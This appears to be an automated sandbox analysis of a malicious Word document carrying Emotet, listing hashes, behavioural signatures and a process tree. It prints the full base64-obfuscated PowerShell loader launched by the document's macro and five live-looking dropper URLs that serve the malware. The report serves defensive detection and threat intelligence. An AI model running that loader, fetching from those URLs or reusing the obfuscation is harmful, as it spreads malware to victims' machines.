Overview

overview

10

Static

static

8

emotet_doc2

windows10_x64

10

Analysis

  • max time kernel
    19s
  • max time network
    20s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08-11-2020 13:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a8ede5b4e9ad5f52a3c28142fa26a4c2caa2d9bd9e73aead41942d31986e4abe.doc

  • Size

    91KB

  • MD5

    8ab1eb11519d5a556284d0e6d006b331

  • SHA1

    c4689ad2bd4082c3986c747ac25bfd9296097673

  • SHA256

    a8ede5b4e9ad5f52a3c28142fa26a4c2caa2d9bd9e73aead41942d31986e4abe

  • SHA512

    4c37f58286da386d51f66cc0033456bf76833ed33f8fd57949f767456f49b50769431a7ba413b0cec3260beb3d6f14fa3b6b54214841a21cfd53faa102752ab9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://oushyn.com/efV5qsN/
exe.dropper

http://valentico.ru/fvxr/
exe.dropper

http://algia.com.ar/L4E6sc/
exe.dropper

http://klusmeier.de/s0UdPE/
exe.dropper

http://zazz.com.br/UIrE4e/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 9 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a8ede5b4e9ad5f52a3c28142fa26a4c2caa2d9bd9e73aead41942d31986e4abe.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\System32\WindowsPowerShell\v1.0\PowersHeLL.exe
      PowersHeLL -e KAAgAG4AZQB3AC0ATwBCAEoARQBDAFQAIAAgAGkAbwAuAEMATwBtAFAAUgBFAHMAUwBpAE8ATgAuAGQARQBGAGwAQQB0AEUAcwB0AFIAZQBBAE0AKAAgAFsAcwB5AFMAVABFAE0ALgBpAG8ALgBtAEUATQBvAFIAeQBzAHQAUgBlAGEAbQBdACAAWwBDAE8ATgB2AGUAUgB0AF0AOgA6AEYAUgBPAE0AQgBBAFMARQA2ADQAUwB0AFIASQBOAGcAKAAgACcAVgBaAEIAdABUADgASQB3AEYARQBiAC8AUwBqADgAcwBHAFkAdgBTAFkAZwBRAE4ATgBDAFkAawBpAGcAWQBFAEoARQA0ADAARQBoAFAAVABkAFgAZQBzAHMAcgBYAFEARgBnAFkAagAvAEgAZQBMAHYAQwBSACsAYQBkAEsAZQA1ACsAVABlAHAAOQA1AGsAVQBKAFQAbQBGAGQAMABoAEMAVQBWAFYAUgBUAC8AQQBMAGQASgBNAHgAaQBxAG4AbgBoADYAVQB5AGUAUQAvAEMAagBmAEcAUQBvADYASABZAFAARQBIAFIAUABlAFoAQQBHAG0AcAAxADMAcwBwAFAAcgBVAEwAKwBxAG0AMQA4AHgAWQBoAGEAbQBuAFMAagBjAFIAYwA1AFEAUwBTADkAOABiAEMARABFAG4ANwBpAEYAWQBzAGMANAByAGcAQwB1AHMAbABTAFYAWgByAGYAUwBZAHMAbQB3AHEAMgBkAHoARABUAHAARgAvAHYAMwBCAGgAKwBaAHIATgBzAGEAWABJAFEAbwBIAEUATQB4AE4AVABHADgAYQBoAHoAWgBpAFUAcgB5AHoAOAB0ADAAbQBUAGMAMQBaADAANgBFAEIAKwBIADgAMAB6AFkAaQB0AC8AMgBBACsAcQB4AFkAbABMAGsAYgBqAHYAdgAwAEIAVgBMAFcATgB2AEsAMQBTAFYAcQBOAHEAOABiAHQAVgBzAFgAeQBCAGEAbQBwADAAZgA3AEIATQBoAFYAeQAvAFcAYgBvAHcAdgBrAGYALwBuAHUAUABNAHIAdQBpAG0ARQBOAFAAawAyAFUAQgBzAGIAVABpAHIAZAA0ADcAagA2AHAAUABoAEkAUwBIAGQAbwBIAFcANgBzADMAMgA4AE8AWAA0AFEAZABWAHkARQB5AHgAKwBGAEYAawBjAEkAcgBpAE4AeABWAGEATABlAFMAMABFAGwAeQBpADQAOABpAEEAaABwAFoAcABXAHgAMQBwAHgAYwBHAFkAMAB6AE8ATgAzAEoAQQBaADMAWABGAG0AZQBiAG8AdAB0AEwAQgBRAFQAWgBXAHgAeQBQAHYARwBuAFQAVwBIAHUAUgBWAEsANABvAEUAegAyAEIAVABvAGIAdgBjAEwAJwAgACkAIAAsACAAWwBJAG8ALgBDAE8AbQBQAHIAZQBTAFMAaQBPAE4ALgBDAE8AbQBQAFIARQBTAHMAaQBvAE4AbQBvAEQAZQBdADoAOgBEAEUAQwBPAG0AcABSAEUAUwBTACAAKQB8ACAARgBvAHIAZQBBAEMASAAtAG8AQgBqAGUAQwB0AHsAbgBlAHcALQBPAEIASgBFAEMAVAAgAHMAWQBzAHQARQBNAC4ASQBPAC4AcwB0AFIAZQBBAG0AcgBlAGEARABFAFIAKAAgACQAXwAsAFsAcwBZAHMAdABFAG0ALgB0AEUAeABUAC4ARQBuAGMAbwBEAGkAbgBnAF0AOgA6AGEAUwBjAEkASQAgACkAfQApAC4AcgBFAEEAZABUAG8AZQBOAEQAKAApACAAfAAgACYAIAAoACAAJABzAGgARQBsAGwAaQBkAFsAMQBdACsAJABzAGgARQBsAEwAaQBkAFsAMQAzAF0AKwAnAFgAJwApAA==
      2⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2736

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1036-0-0x00007FFC480F0000-0x00007FFC48727000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/2736-5-0x00007FFC3A2D0000-0x00007FFC3ACBC000-memory.dmp

    Filesize

    9.9MB

    Download

  • memory/2736-6-0x0000024B600A0000-0x0000024B600A1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2736-7-0x0000024B60250000-0x0000024B60251000-memory.dmp

    Filesize

    4KB

    Download